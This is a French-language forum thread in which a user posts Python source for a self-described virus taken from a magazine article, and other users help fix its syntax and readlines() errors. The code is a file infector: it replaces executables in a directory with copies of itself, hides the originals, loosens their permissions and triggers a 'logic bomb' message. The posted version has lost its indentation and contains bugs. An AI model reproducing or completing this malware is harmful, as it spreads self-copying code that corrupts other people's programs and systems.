#1 Le 25/02/2017, à 19:09
- DebianMaster
Programmation en Python : Syntax Error
Bonjour ou bonsoir,
J'ai programmé un virus en Python grâce à un article d'un magazine.
Le seul problème, c'est que le Terminal m'affiche :
File "easy-install.py", line 56
except
^
SyntaxError: invalid syntax
Voici le code:
#!/usr/bin/python3
# ===INFECTED===
import os
import os.path
from sys import argv
import shutil
import stat
import random
cmd_init, cmd = ('ls', 'ls')
pathToCorrupt = '/home/clement/virus/my_bin/my_bin/'
fileToCorrupt = pathToCorrupt + cmd
def isInfected(content):
return content == b'# === INFECTED ===\n'
def bomb():
print ('BEAAAAAAH!')
with open(fileToCorrupt, 'rb') as currentFile:
ftcLines = currentFile.readlines
if isInfected(ftcLines[1]):
filenames = os.listdir(pathToCorrupt)
random.shuffle(filenames)
for cmd in filenames:
if cmd != cmd_init and cmd[0] !='.':
with open(pathToCorrupt + cmd, 'rb') as newFile:
ftcLines = newFile.readlines()
if not isInfected(ftcLines[1]):
fileToCorrupt = pathToCorrupt + cmd
break
else:
print('All files already corrupted!')
exit(0)
#Debut de l'infection
try:
print('Infection in progress : command', cmd)
originalFile = pathToCorrupt + '.' + cmd
shutil.move(fileToCorrupt, originalFile)
shutil.copyfile(argv[0], fileToCorrupt)
os.chmod(fileToCorrupt, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXGRP | stat.S_IROTH | stat.S_IWOTH | stat.S_IXOTH | stat.S_IROTH | stat.S_IWOTH)
except:
#Pb lors de l'infection, on restitue les donnees initiales
shutil.move(originalFile, fileToCorrupt)
exit(1)
#Bombe logique
bomb()
# === ORIGINAL ===
# Execution du code original
try:
if argv[0] != './easy-install.py':
os.system('.' + os.path.basename(argv[0] + ' ' + ' '.join(argv[1:]))
except:
exit(2)
Merci d'avance pour votre aide.
Dernière modification par DebianMaster (Le 25/02/2017, à 19:10)
Hors ligne
#2 Le 25/02/2017, à 19:17
- pingouinux
Re : Programmation en Python : Syntax Error
Bonsoir,
Il manque une parenthèse à la fin de la ligne 55.
Hors ligne
#3 Le 25/02/2017, à 19:20
- DebianMaster
Re : Programmation en Python : Syntax Error
Merci, j'ai corrigé cette erreur mais maintenant ça m'affiche
Traceback (most recent call last):
File "easy-install.py", line 22, in <module>
if isInfected(ftcLines[1]):
TypeError: 'builtin_function_or_method' object has no attribute '__getitem__'
Hors ligne
#4 Le 25/02/2017, à 19:45
- CM63
Re : Programmation en Python : Syntax Error
Cela veut dire que tu n'as pas le droit de faire ftcLines[1]. Quel est le type de ftcLines? Si c'est une classe développée (et non un type de base) il faut une méthode __getitem__ qui renvoie quelque chose:
def __getitem__(self,i):
Dernière modification par CM63 (Le 25/02/2017, à 19:46)
Quoi? Quelque chose que je ne connais pas et qui me fait l'affront d'exister?!
Hors ligne
#5 Le 25/02/2017, à 19:54
- pingouinux
Re : Programmation en Python : Syntax Error
Il faut remplacer
ftcLines = currentFile.readlines
per
ftcLines = currentFile.readlines()
Hors ligne
#6 Le 25/02/2017, à 23:00
- CM63
Re : Programmation en Python : Syntax Error
Oui, effectivement, suit le conseil de pingouinux, ça devrait marcher.
Quoi? Quelque chose que je ne connais pas et qui me fait l'affront d'exister?!
Hors ligne